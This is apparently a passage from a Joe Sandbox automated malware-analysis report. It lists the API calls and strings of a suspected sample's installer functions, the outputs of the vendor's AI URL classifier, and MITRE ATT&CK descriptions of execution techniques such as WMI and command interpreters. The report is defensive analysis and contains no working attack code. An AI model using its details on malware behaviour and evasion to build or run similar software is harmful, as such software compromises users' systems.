Instruction Fuzzy Hash: 2511E732E00200ABDB10FFA5DD4AABE3A64EF40354F10403FF50AB61D2D6798E50C6AD

Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00406301: FindFirstFileW.KERNELBASE(00461E18,00466A20,00461E18,004067FA,00461E18), ref: 0040630C
Part of subcall function 00406301: FindClose.KERNEL32(00000000), ref: 00406318

lstrlenW.KERNEL32 ref: 004026B4
lstrlenW.KERNEL32(00000000), ref: 004026C1
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC

Strings

CopyFiles "%s"->"%s", xrefs: 0040267F

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
String ID: CopyFiles "%s"->"%s"
API String ID: 2577523808-3778932970
Opcode ID: 0c98d155eaf4bf30867e20e2ef9323f8e108a065a1149d83459e1735f252947f
Instruction ID: 7c1d43f40acf3f33c375e3424532232737b5c7d4dc38a4161669d523a66d0fcf
Opcode Fuzzy Hash: 0c98d155eaf4bf30867e20e2ef9323f8e108a065a1149d83459e1735f252947f
Instruction Fuzzy Hash: 8A114F71D00214AADB10FFF6984699FBBBCAF44354B10843BA502F72D2E67989418759

Function 00406250 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 004062A4
lstrcatW.KERNEL32(00000000,...), ref: 004062C7

Strings

..., xrefs: 004062BF
%02x%c, xrefs: 0040629C

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: lstrcatwsprintf
String ID: %02x%c$...
API String ID: 3065427908-1057055748
Opcode ID: e028bc25539a6ddd5d675d42839d030ce8218c39fe920002d96002040e934ce0
Instruction ID: 9bf571533c0fd83e5fe1ff618cfd19ea7d9613251e6e948213dceada22d50e27
Opcode Fuzzy Hash: e028bc25539a6ddd5d675d42839d030ce8218c39fe920002d96002040e934ce0
Instruction Fuzzy Hash: E201D272510219BFCB01DF98CC44A9EBBB9EF84714F20817AF806F3280D2799EA48794

Function 00405073 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405083

Part of subcall function 00403DDB: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

OleUninitialize.OLE32(00000404,00000000), ref: 004050D1

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

Skipping section: "%s", xrefs: 004050E1
Section: "%s", xrefs: 004050A5

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: InitializeMessageSendUninitializelstrlenwvsprintf
String ID: Section: "%s"$Skipping section: "%s"
API String ID: 2266616436-4211696005
Opcode ID: 08831c163c79f6045eee3939d78ed76b32885a7039adc7eb93c092c170fa4538
Instruction ID: 3a4ae3dd184d198318ece42e1af7a5bc75ccdc2bd7a030bb5b2a43e0dda7b67b
Opcode Fuzzy Hash: 08831c163c79f6045eee3939d78ed76b32885a7039adc7eb93c092c170fa4538
Instruction Fuzzy Hash: 0EF0F433504300ABE7106766AC02B1A7BA0EF84724F25017FFA09721E2DB7928418EAD

Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00402100
GetDeviceCaps.GDI32(00000000), ref: 00402107
MulDiv.KERNEL32(00000000,00000000), ref: 00402117

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00426979,74DF23A0,00000000), ref: 00406902

CreateFontIndirectW.GDI32(00420110), ref: 0040216A

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectVersionwsprintf
String ID:
API String ID: 1599320355-0
Opcode ID: 5e7bfe574d04e9302ce96a75028483347f8e754cab2f6e4722de83d8c32547a7
Instruction ID: 0ba792ce9c48b24537a9dfec97a4105c0a721b5be590283e64661935fd66df2d
Opcode Fuzzy Hash: 5e7bfe574d04e9302ce96a75028483347f8e754cab2f6e4722de83d8c32547a7
Instruction Fuzzy Hash: B6018872B042509FF7119BB4BC4ABAA7BE4A715315F504436F141F61E3CA7D4411C72D

Function 00407224 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406EFE: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406F22

lstrcpynW.KERNEL32(?,?,00000009), ref: 00407265
lstrcmpW.KERNEL32(?,Version ), ref: 00407276
lstrcpynW.KERNEL32(?,?,?), ref: 0040728D

Strings

Version , xrefs: 0040726D

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: lstrcpyn$CreateFilelstrcmp
String ID: Version
API String ID: 512980652-315105994
Opcode ID: e08784de301d9fe6ca80962c3bdf8726d1c794b972164068317a4e691a2db981
Instruction ID: f6016284c167eb8c93e4c4d2cd91337f160ffdcdaea293fd9af5b6974d265005
Opcode Fuzzy Hash: e08784de301d9fe6ca80962c3bdf8726d1c794b972164068317a4e691a2db981
Instruction Fuzzy Hash: 74F08172A0021CBBDF109BA5DD45EEA777CAB44700F000076F600F6191E2B5AE148BA1

Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,0040372F,00000001,?,?,?,00000000,00403A73,?), ref: 004032E5
GetTickCount.KERNEL32 ref: 00403303
CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A73,?), ref: 0040332E

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 20fc2252fa4e8cade60f22cfb8dff2eb59aca0eba7377cdae62c8c9885b14618
Instruction ID: 7080548a0c715e844c944b711630a30770084a0de0adb1936a850f0acfbe0ad2
Opcode Fuzzy Hash: 20fc2252fa4e8cade60f22cfb8dff2eb59aca0eba7377cdae62c8c9885b14618
Instruction Fuzzy Hash: 76F05E30541220BBC620AF24FD89AAF7F68B705B1274008BAF405B11A6C7384D92CFDC

Function 00406391 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 0040639C
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 004063B2
GetProcAddress.KERNEL32(?,00000000), ref: 004063C1
GlobalFree.KERNEL32(00000000), ref: 004063CA

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: Global$AddressAllocByteCharFreeMultiProcWide
String ID:
API String ID: 2883127279-0
Opcode ID: cfe0beae58ad61bea83a9ac8add919dc7b7c61ebe1ef4fe2e37f024ea1666988
Instruction ID: 23858f5f5f858bd20c6f81bae205610dc5c3869b82bfcacec746ad73dc06cfd6
Opcode Fuzzy Hash: cfe0beae58ad61bea83a9ac8add919dc7b7c61ebe1ef4fe2e37f024ea1666988
Instruction Fuzzy Hash: 82E092313001117BF2101B269D8CD677EACDBCA7B2B05013AF645E11E1C6308C10C674

Function 004048F8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0040492E
CallWindowProcW.USER32(?,00000200,?,?), ref: 0040499C

Part of subcall function 00403DDB: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

Strings

, xrefs: 00404906

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: c170883d227fca0112a12e156e2c8e9ea80fa6a38e1ecce58c6b14ca94f7736c
Instruction ID: 3c1fd1ddb59456d7d2ea24cd553691e7f5dd8d926ac1a383129e0726a186868e
Opcode Fuzzy Hash: c170883d227fca0112a12e156e2c8e9ea80fa6a38e1ecce58c6b14ca94f7736c
Instruction Fuzzy Hash: CE118FF1500209ABDF115F65DC44EAB776CAF84365F00803BFA04761A2C37D8D919FA9

Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8

Strings

!N~, xrefs: 00402797

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: PrivateProfileStringlstrcmp
String ID: !N~
API String ID: 623250636-529124213
Opcode ID: 07e0e1e700d966a463b53d73ca6f39700f71f89c173b529fa76a4fed3a8722df
Instruction ID: 1025b72e91f13a3121db677028adcce723ab2f3f19a12cbdb86f5280e69f3e4e
Opcode Fuzzy Hash: 07e0e1e700d966a463b53d73ca6f39700f71f89c173b529fa76a4fed3a8722df
Instruction Fuzzy Hash: 14E0C0716002086AEB01ABA1DD89DAE7BACAB45304F144426F601F71E3E6745D028714

Function 00405C6B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00461DD0,Error launching installer), ref: 00405C90
CloseHandle.KERNEL32(?), ref: 00405C9D

Strings

Error launching installer, xrefs: 00405C74

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: d7e07479a26add6e139fb42e4e519ed4ce81f94bdda572b5be1add7e8fe8fde5
Instruction ID: 058e85fc593d498414a6a643ff83d14e048665682532f700ab3f6144ed6d8858
Opcode Fuzzy Hash: d7e07479a26add6e139fb42e4e519ed4ce81f94bdda572b5be1add7e8fe8fde5
Instruction Fuzzy Hash: A4E0ECB0900209AFEB009F65DD09E7B7BBCEB00384F084426AD10E2161E778D8148B69

Function 004062CF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00406113: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,00406300,00000000), ref: 0040612A

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004062D1, 004062D6

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: CloseHandlelstrlenwvsprintf
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3509786178-2769509956
Opcode ID: db8d081d013b9790c932ab277b4a3a99312fd955ab88a80e97be1a4fe9473cae
Instruction ID: 2c5812d3804eb93f93713fa8b891b4ce654538dc852139f9e16b4ff69120e8c2
Opcode Fuzzy Hash: db8d081d013b9790c932ab277b4a3a99312fd955ab88a80e97be1a4fe9473cae
Instruction Fuzzy Hash: 93D05E34A50206BADA009FE1FE29E597764AB84304F400869F005890B1EA74C4108B0E

Function 00405DE2 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BFF,00000000,[Rename]), ref: 00405DF2
lstrcmpiA.KERNEL32(?,?), ref: 00405E0A
CharNextA.USER32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E1B
lstrlenA.KERNEL32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E24

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 6101864ab16567e6bb9a2a5d9c8424f3785a5e6dd51bc724eb4dc87483e37eb4
Instruction ID: 6c750b41c95b6ea6b2c0dd9449a28e86abc919c298eb75f697d1220529daba74
Opcode Fuzzy Hash: 6101864ab16567e6bb9a2a5d9c8424f3785a5e6dd51bc724eb4dc87483e37eb4
Instruction Fuzzy Hash: 95F0CD31205558FFCB019FA9DC0499FBBA8EF5A350B2544AAE840E7321D234DE019BA4

Analysis Process: 3907f97605.exePID: 4092, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	0.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	15
Total number of Limit Nodes:	1

Executed Functions

Function 0026877C Relevance: 4.6, APIs: 3, Instructions: 94
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 0026BEE6
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 0026BF0D
GetNativeSystemInfo.KERNEL32(?), ref: 0026BF64

Memory Dump Source

Source File: 00000028.00000001.2967637879.0000000000263000.00000040.00000001.01000000.00000010.sdmp, Offset: 00263000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_1_263000_3907f97605.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: ac63cd83742283eb801787bb80be28dbece7761dde0500fbba69d3a1254da2b9
Instruction ID: b06e97c6b2bb73af1b4d480a50731f9a5bb2d54bcce9a1296025e2bf35eac6be
Opcode Fuzzy Hash: ac63cd83742283eb801787bb80be28dbece7761dde0500fbba69d3a1254da2b9
Instruction Fuzzy Hash: AB41F9B112424E9EEB12DF60C848BEF3BA8EF05300F548426E981C6950E7768CF4DF59

Function 00267FBB Relevance: 1.5, APIs: 1, Instructions: 34
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 0026AE90

Memory Dump Source

Source File: 00000028.00000001.2967637879.0000000000263000.00000040.00000001.01000000.00000010.sdmp, Offset: 00263000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_1_263000_3907f97605.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 4b24022870800dd5be7e098af317d8f0c2d36073bbde5da423028caf46548c1c
Instruction ID: e34d927801f5894a48f584ed9e0038a4abb9a9742f0392c4e772afd817242d6f
Opcode Fuzzy Hash: 4b24022870800dd5be7e098af317d8f0c2d36073bbde5da423028caf46548c1c
Instruction Fuzzy Hash: AD0112B281D705AFC3019F2AC58803AFBE4EFC5750F29882EA1C887612D6304894DB93

Function 000DDF41 Relevance: 1.3, APIs: 1, Instructions: 11
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32 ref: 000DDF69

Memory Dump Source

Source File: 00000028.00000001.2967637879.00000000000D9000.00000040.00000001.01000000.00000010.sdmp, Offset: 000D9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_1_d9000_3907f97605.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 5b8bcc695704e5e794c9ab4dbee75ab3d38c551f89d0801379995496e6f58fb9
Instruction ID: d0fdd08fed20a6a58df306cf49372c83022ef71c2e4fa1bd5265b0d6ba631f6c
Opcode Fuzzy Hash: 5b8bcc695704e5e794c9ab4dbee75ab3d38c551f89d0801379995496e6f58fb9
Instruction Fuzzy Hash: 29D0E97594874D8BCB595FE4404C0DE3B60EF2A311B640723E826D2F94DB26CC62E525

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=3907f97605.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Register now", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=3907f97605.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://learn.microsoft.com

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
